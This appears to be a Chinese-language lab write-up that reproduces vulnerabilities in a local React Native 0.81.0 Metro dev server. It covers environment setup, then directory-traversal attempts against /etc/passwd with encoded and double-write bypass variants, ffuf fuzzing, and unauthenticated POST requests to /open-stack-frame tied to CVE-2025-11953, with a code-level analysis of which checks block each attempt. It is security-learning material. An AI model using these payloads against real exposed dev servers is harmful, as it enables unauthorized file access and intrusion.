环境搭建
一、安装react-native@0.81.0
# 使用特定版本创建项目(示例)
npx react-native@0.81.0 init MyVulnerableApp
cd MyVulnerableApp
#启动时不要加 --host 127.0.0.1 参数,因为默认监听 0.0.0.0 正是漏洞的触发条件之一
npx react-native start
通过homebrew安装
#第一步安装Homebrew
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
#第二步将Homesbrew加入PATH
#Intel Mac(x86)
echo 'eval "$(/usr/local/bin/brew shellenv)"' >> ~/.zshrc
eval "$(/usr/local/bin/brew shellenv)"
#Apple Silicon Mac(M1/M2/M3)
echo 'eval "$(/opt/homebrew/bin/brew shellenv)"' >> ~/.zshrc
eval "$(/opt/homebrew/bin/brew shellenv)"
#验证是否安装成功
brew --version
#第三步:安装 Node.js
brew install node
#安装完成后验证
node --version # 应显示 v20.x 或 v22.x
npx --version # 应显示 10.x 或 11.x
#第四步:回到漏洞环境搭建,创建 React Native 项目
npx react-native@0.81.0 init MyVulnerableApp
踩坑:
🚨️ The `init` command is deprecated. - Switch to npx @react-native-community/cli init for the identical behavior. - Refer to the documentation for information about alternative tools: https://reactnative.dev/docs/getting-started Exiting... npm notice npm notice New major version of npm available! 11.19.0 -> 12.0.2 npm notice Changelog: https://github.com/npm/cli/releases/tag/v12.0.2 npm notice To update run: npm install -g npm@12.0.2 npm notice
原因:React Native官方已经废弃了旧式的react-native init命令 。react-native@0.81.0版本太旧,其CLI已经不再支持直接通过npx react-native@版本 init这种方式创建项目了
解决:使用官方推荐的新命令
npx @react-native-community/cli@latest init MyVulnerableApp --version 0.81.0
安装成功后,可以使用
#启动 React Native 项目开发服务器
npx @react-native-community/cli start
#测试基本服务是否正常
curl http://127.0.0.1:8081/index.bundle
二、拓展组件(可选择安装)
1、关于 CocoaPods 的选择
npx @react-native-community/cli@latest init MyVulnerableApp --version 0.81.0
Need to install the following packages:
@react-native-community/cli@20.2.0
Ok to proceed? (y) y
###### ######
### #### #### ###
## ### ### ##
## #### ##
## #### ##
## ## ## ##
## ### ### ##
## ######################## ##
###### ### ### ######
### ## ## ## ## ###
### ## ### #### ### ## ###
## #### ######## #### ##
## ### ########## ### ##
## #### ######## #### ##
### ## ### #### ### ## ###
### ## ## ## ## ###
###### ### ### ######
## ######################## ##
## ### ### ##
## ## ## ##
## #### ##
## #### ##
## ### ### ##
### #### #### ###
###### ######
Welcome to React Native 0.81.0!
Learn once, write anywhere
✔ Downloading template
✔ Copying template
✔ Processing template
✔ Installing dependencies
? Do you want to install CocoaPods now? Needed for running iOS project › (y/N)
选项 A:选择 y(推荐,如果你有 iOS 模拟器)
选项 B:选择 N(如果不打算用 iOS)
🔐 安全学习建议
对于你的漏洞复现目的,建议选择 y 安装 CocoaPods。这样你有完整的 iOS 和 Android 两个平台的环境,可以更全面地测试 Metro Dev Server 的漏洞(因为漏洞影响的是 Metro 服务器本身,与具体平台关系不大,但有两个环境更方便调试)。
🧹 如果遇到 "CocoaPods not installed" 错误
如果选择 y 后报错说没有 CocoaPods,可以手动安装:
bash
# 安装 CocoaPods(需要 Ruby,macOS 自带)
sudo gem install cocoapods
# 进入 iOS 目录手动安装
cd ios
pod install
cd ..
2、iOS模拟器的mac方案
iOS模拟器就是一款可以安装在Mac上的软件 ,它会在你的电脑屏幕上"变出"一部虚拟的iPhone或iPad,让你无需真机就能测试iOS应用。
如何安装在你的Mac上?
它不能独立下载,是作为 Xcode(苹果官方的开发工具套件)的一部分提供的。你不需要精通Xcode,只需要用它来安装模拟器就行。
安装步骤:
-
安装Xcode :在Mac自带的 App Store 里搜索"Xcode"并点击"获取"或"安装"。这个过程可能需要较长时间(Xcode安装包很大)。
-
安装模拟器 :打开Xcode(第一次打开可能需要一些初始化操作),然后通过快捷键
Command + ,打开"偏好设置(Preferences)"。 -
切换到 "组件(Components)" 标签页。
-
在列表中找到 "iOS 模拟器(iOS Simulator)",点击右侧的"获取(Get)"按钮进行下载安装。
如何启动并使用 iOS Simulator
方法一:通过 Xcode 启动(最直接)
-
打开 Xcode:在"启动台"或"应用程序"文件夹中找到并打开 Xcode。
-
打开 Simulator :在 Xcode 的顶部菜单栏中,点击 Xcode → Open Developer Tool → Simulator。
-
等待启动:这时会弹出一个新的窗口,里面显示一部虚拟的 iPhone(默认可能是最新型号),这就是 iOS Simulator 了。
方法二:通过终端命令启动(更极客)
如果你习惯用终端,可以这样快速启动一个特定型号的模拟器:
# 列出所有可用的模拟器设备列表
xcrun simctl list devices
# 找到你想要的设备 UDID 或名称后,启动它(例如启动 iPhone 15 Pro)
xcrun simctl boot "iPhone 15 Pro"
open -a Simulator
模拟器的基本操作与界面
启动后,你会看到一个像真机一样的 iOS 界面,可以用鼠标和键盘操作:
-
点击与滑动:直接用鼠标点击屏幕上的应用图标,或用鼠标拖拽来滑动屏幕。
-
旋转 :在菜单栏选择 Hardware → Rotate Left/Right 来模拟设备旋转。
-
摇一摇 :在菜单栏选择 Hardware → Shake Gesture,用于测试应用对摇动的响应。
-
模拟位置 :在菜单栏选择 Features → Location,可以模拟设备在某个城市或自定义经纬度。
如何在模拟器里运行你的 React Native 项目
对于你的漏洞学习项目 MyVulnerableApp,关联模拟器的步骤非常流畅:
-
确保 Metro 服务器已启动 :在项目根目录下运行
npx react-native start。 -
在新终端窗口运行 iOS 命令:保持 Metro 运行,打开一个新的终端窗口,进入项目目录,执行:
npx react-native run-ios -
观察自动流程:
-
命令会自动构建(Build)你的 iOS 项目。
-
它会自动查找并启动一个可用的 iOS 模拟器(如果没有正在运行的,它会自动打开一个默认的)。
-
最后,它会将你的 App 自动安装并启动在这个模拟器中。
-
此时,修改
App.js源码保存,App 会自动刷新(热加载),体验非常顺畅。
-
漏洞测试建议
在安全测试中,识别到资产(比如你启动的Metro服务)后,要查看它开放了哪些路由,通常会用到网络扫描、Web代理和手动探测相结合的思路。这有点像对一栋建筑进行"踩点",搞清楚它有几扇门、分别通向哪里。
针对你本地的Metro学习环境,我帮你梳理了三个可以立刻上手的方法。
🛠️ 具体测试工具与方法
1. Web代理工具 (Burp Suite / OWASP ZAP):观察与重放
这是最核心的测试工具。你可以把它想象成一个"中间人",能看清所有进出的"数据包"。
-
配置代理 :将你的测试终端(或模拟器)的HTTP代理设置为Burp Suite或ZAP的监听地址(通常是
127.0.0.1:8080)。 -
访问根路径 :在浏览器中访问
http://<你的Mac IP>:8081/。此时,Burp Suite的"HTTP History"面板会捕获请求。 -
观察请求 :你会看到向Metro发起的请求列表。重点查看请求方法(GET/POST) 和路径(Path) ,例如
/index.bundle、/assets/、/open-url等。这正是你发现潜在攻击入口的第一步。 -
重放与篡改 :选中一个请求,发送到Repeater模块。你就可以修改路径、添加
../尝试目录遍历,或修改POST参数来测试命令注入。
2. 模糊测试工具 (wfuzz / ffuf):自动化探测
当你想快速测试一批可能的路由或参数时,模糊测试工具能大幅提高效率。
-
原理 :工具会读取一个字典(比如
SecLists里的common.txt),自动替换URL中的占位符,并发起大量请求。 -
示例命令 (以
ffuf为例):ffuf -u http://<你的Mac IP>:8081/FUZZ -w /path/to/wordlist.txt -fc 404-
-u:目标URL,FUZZ是占位符。 -
-w:指定本地字典文件。 -
-fc 404:过滤掉返回404的响应,只显示存在的路由。这能帮你快速发现未被公开文档记录的"隐藏"端点。
-
3. 开发者工具与手动探测:理解服务行为
-
浏览器开发者工具 (F12) :在浏览器访问Metro服务时,打开"网络(Network)"标签页。它能直观地显示加载了哪些资源,以及部分请求的响应头。特别留意响应头里是否有
X-Metro-Files-Changed-Count这类特征信息,这有助于你确认服务的指纹。 -
curl命令 :对于快速测试,curl非常直接。例如:# 探测一个可能存在的管理路由 curl -v http://<你的Mac IP>:8081/status
💡 测试思路建议
-
从已知到未知 :首先根据你查到的资料(比如我上一轮提到的
/open-url、/assets/),手动测试这些已知路由是否存在漏洞。 -
配合代理进行主动探测:使用ffuzz等工具跑一遍字典的同时,让Burp Suite捕获整个过程。这样不仅能发现新路由,还能看到服务器对不同路径的详细响应。
-
关注开发者模式 :在模拟器上运行你的
MyVulnerableApp时,开启Metro的调试模式。有时开发者工具本身会暴露出额外的调试接口,这也是一个测试点。
漏洞验证
一、目录遍历
访问index.bundle,确保服务有正常启动后,再开始验证漏洞
http://127.0.0.1:8081/index.bundle
curl http://172.20.10.2:8081/assets/../../../../etc/passwd 访问显示Cannot GET
尝试不同的路径深度
# 尝试 5 层
curl http://172.20.10.2:8081/assets/../../../../../etc/passwd
# 尝试 6 层
curl http://172.20.10.2:8081/assets/../../../../../../etc/passwd
# 尝试 7 层(有些实现需要更多)
curl http://172.20.10.2:8081/assets/../../../../../../../etc/passwd
尝试不同的目标文件(自身的配置文件可读取)
# 尝试读取 Metro 自身的配置文件
curl http://172.20.10.2:8081/assets/../../../../metro.config.js
# 尝试读取项目中的 package.json
curl http://172.20.10.2:8081/assets/../../../../package.json
尝试 URL 编码绕过
# 对 ../ 进行 URL 编码
curl http://172.20.10.2:8081/assets/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
# 使用双写绕过(有些 WAF 会拦截单次 ../)
curl http://172.20.10.2:8081/assets/....//....//....//....//etc/passwd
更系统的测试方法
如果你希望更高效地探索,可以使用模糊测试工具,比如 ffuf,自动尝试不同的路径深度和变体:
# 使用 ffuf 测试不同的路径深度
ffuf -u http://172.20.10.2:8081/assets/FUZZ/etc/passwd -w depths.txt -fc 404
其中 depths.txt 包含:
../../../
../../../../
../../../../../
../../../../../../
测试结论:
这个仓库(RN 0.81.0 / Metro 0.83.7 / @react-native-community/cli-server-api@20.0.0)中,目录遍历(越出项目根目录的任意文件读取)在所有文件读取面上均不可利用 。Metro 0.83.7 的安全模型是"只服务被 watch 监视到的文件 ",而非"校验路径没有越界";任何携带 .. 的路径都会被 7 层防护中的某一层拦下(已全部实测)。真正被 CVE-2025-11953 利用的攻击面不是文件读取,而是 /open-stack-frame 的命令注入(另见结论)。逐层校验情况如下:
| 层 | 代码位置 | 校验逻辑 | 实测结果 |
|---|---|---|---|
| L-1 静态服务 | cli-server-api serveStatic → send/index.js:63,533 |
UP_PATH_REGEXP 检测 .. 逃逸(403) |
逃逸被拒;403 被 serve-static 静默转成 Cannot GET 404 |
| L0 URL 规范化 | Server.js:505 new URL() |
WHATWG 点段规范化(含 %2e 编码) |
普通 .. 被压扁 → 路由不匹配 → Cannot GET |
| L1 路由 | Server.js:549 |
必须 /assets/ 前缀 |
--- |
| L2 资产名解析 | Assets.js:214 + parsePlatformFilePath.js:11 |
文件名必须 name.ext |
passwd → 404 |
| L3 扩展名白名单 | Assets.js:219 |
扩展名必须在 assetExts(约 27 种) |
openssl.cnf → 404 Asset not found |
| L4 根目录包含检查 | Assets.js:224-231 |
pathBelongsToRoots |
死代码 :被 fileExistsInFileMap == null短路,永不执行 |
| L5 文件映射 | Assets.js:235-249 → DependencyGraph.js:290 → TreeFS.exists |
目标文件必须在 watch 目录(projectRoot/watchFolders)内 | /tmp/*.png → 404;项目内文件 → 200 |
五个关键结论(均有实测支撑)
-
普通
..活不到 getAsset :先被客户端 curl 压扁(需--path-as-is),再被服务端 L0new URL()规范化(Server.js:505)------所以你的Cannot GET /etc/passwd是死在路由层,不是死在资产处理层。 -
编码斜杠
%2f可以绕过 L0 (Server.js:412-415先 split 后 decode,在规范化之后重建..),但绕过 L0 后仍被 L3(扩展名白名单)或 L5(文件映射)拦下------实测..%2f型 payload 返回Asset not found。 -
L4
pathBelongsToRoots是死代码 :Server.js:449永远传入fileExistsInFileMap函数 →Assets.js:224的== null短路恒为 false → 包含检查永不执行。实测项目内文件经含..的路径仍返回 200,反证这一点。 -
package.json能读到 ≠ 穿越 :是serveStatic(项目根)静态服务(cli-server-api/index.js:65-68)的正常行为,curl http://127.0.0.1:8081/package.json(无任何..)结果完全一样;该层自身的逃逸防护(send 403)有效。 -
版本对比 :老 lab(Metro 0.51.1)用
url.parse()(不规范化..)+ getAsset 无文件映射参数 + 包含检查被注释 → 10 层..直接读出/etc/ssl/openssl.cnf;0.83.7 则被 L0/L3/L5 逐层封死。F: /assets/..%2f..%2f..%2f..%2f..%2f..%2fetc/ssl/openssl.cnf → Asset not found [404] ← 绕过 L0,死在 L3
G: /assets/..%2fMyVulnerableApp/android/.../ic_launcher.png → HTTP 200 ✅ ← 绕过 L0,全闸通过
H: /assets/..%2f..%2f..%2f..%2f..%2f..%2ftmp/metro-demo/secret.png → Asset not found [404] ← 绕过 L0,死在 L5

二、CVE-2025-11953 命令注入
测试结论(结论先行)
机制上可利用(已证实),但平台差异关键:Windows 上可 RCE,本机 macOS 的 live 端点只到"任意文件打开"。由于我复现环境是mac,windows没有测试.
ive 服务器实测:远程触发 + 零校验(全部 200)
| 测试 | 请求 | 结果 | 说明 |
|---|---|---|---|
| A1 | POST /open-stack-frame body {} |
200 | 端点无认证可达,仅校验 body 非空 |
| A2 | body {"file":"/etc/hosts"} |
200 | 绝对路径零校验(无包含检查) |
| A3 | body {"file":"../../../../../../etc/hosts"} |
200 | 目录遍历路径零校验 |
| A4 | body {"file":"file:///etc/hosts"} |
200 | file:// 协议也被接受 |
| A5 | GET /assets/..%2f..%2f..%2f..%2f..%2f..%2fetc/hosts |
404 | 对照:Metro /assets/ 对同路径拒绝 |
结论 :攻击者可远程(8081 无认证)向 /open-stack-frame 提交任意 file 值,服务器端 launchEditor(frame.file, ...) 被触发------没有任何路径校验 ,与 /assets/ 的多层闸门形成鲜明对比。
# curl(自带)------ 你已经在用了
curl --path-as-is "http://127.0.0.1:8081/assets/..%2f..%2f..%2f..%2f..%2f..%2fetc/ssl/openssl.cnf"
curl -X POST -H "Content-Type: application/json" \
-d '{"file":"/etc/hosts","lineNumber":1}' \
http://127.0.0.1:8081/open-stack-frame
# lsof / netstat ------ 验证服务到底绑在哪个网卡(0.0.0.0 还是 127.0.0.1)
lsof -i :8081 # 看 LISTEN 那行的地址是 *:8081 还是 127.0.0.1:8081
# 从另一台设备(手机/另一台电脑)打内网 IP,证明 0.0.0.0 暴露 + 无认证
curl -X POST -H "Content-Type: application/json" \
-d '{"file":"/etc/hosts","lineNumber":1}' \
"http://<你Mac的内网IP>:8081/open-stack-frame"
windows 复现可参考https://github.com/boroeurnprach/CVE-2025-11953-PoC